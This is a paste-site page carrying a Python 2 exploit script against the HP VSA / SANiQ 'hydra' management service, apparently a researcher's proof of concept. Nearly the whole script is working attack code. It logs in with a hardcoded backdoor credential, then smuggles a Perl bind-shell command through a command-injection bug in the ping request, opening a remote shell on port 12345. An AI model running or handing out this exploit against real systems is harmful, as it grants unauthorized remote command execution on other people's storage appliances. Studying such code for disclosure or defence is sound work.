fork download
copy 
  1. #!/usr/bin/python
  2.  
  3. ''' ==================================
  4.           Pseudo documentation
  5. ================================== '''
  6.  
  7. # HP VSA / SANiQ Hydra client
  8. # Nicolas Grégoire <nicolas.gregoire@agarri.fr>
  9. # v0.5
  10.  
  11. ''' ==================================
  12.           Target information
  13. ================================== '''
  14.  
  15. HOST = '192.168.201.11' # The remote host
  16. PORT = 13838        # The hydra port
  17.  
  18. ''' ==================================
  19.              Imports
  20. ================================== '''
  21.  
  22. import getopt
  23. import re
  24. import sys
  25. import binascii
  26. import struct
  27. import socket
  28. import os
  29.  
  30. ''' ==================================
  31.         Define functions
  32. ================================== '''
  33.  
  34. # Some nice formatting
  35. def zprint(str):
  36.     print '[=] ' + str
  37.  
  38. # Define packets
  39. def send_Exec():
  40.     zprint('Send Exec')
  41.  
  42.     # RESTRICTIONS
  43.     # You can't use "/" in the payload
  44.     # No Netcat/Ruby/PHP, but telnet/bash/perl are available
  45.  
  46.     # METASPLOIT PAYLOAD
  47.     cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
  48.  
  49.     # COMMAND INJECTION BUG
  50.     data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'
  51.  
  52.     # EXPLOIT
  53.     zprint('Now connect to port 12345 of machine ' + str(HOST))
  54.     send_packet(data)
  55.  
  56. def send_Login():
  57.     zprint('Send Login')
  58.     data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
  59.     send_packet(data)
  60.  
  61. # Define the sending function
  62. def send_packet(message):
  63.  
  64.     # Add header
  65.     ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
  66.     ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
  67.     message = message + '\x00'
  68.     data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message
  69.  
  70.     # Send & receive
  71.     s.send(data)
  72.     data = s.recv(1024)
  73.     zprint('Received : [' + data + ']')
  74.  
  75. ''' ==================================
  76.            Main code
  77. ================================== '''
  78.  
  79. # Print bannner
  80. zprint('HP Hydra client')
  81. zprint('Attacking host ' + HOST + ' on port ' + str(PORT))
  82.  
  83. # Connect
  84. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  85. s.settimeout(30)
  86. s.connect((HOST, PORT))
  87.  
  88. # Attack !
  89. send_Login()
  90. send_Exec()
  91.  
  92. # Deconnect
  93. s.close
  94.  
  95. # Exit
  96. zprint('Exit')
  97.  
Runtime error #stdin #stdout 0.08s 10920KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
Standard output is empty
https://ideone.com/wdsTS2
language:
Python (cpython 2.7.16)
created:
11 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!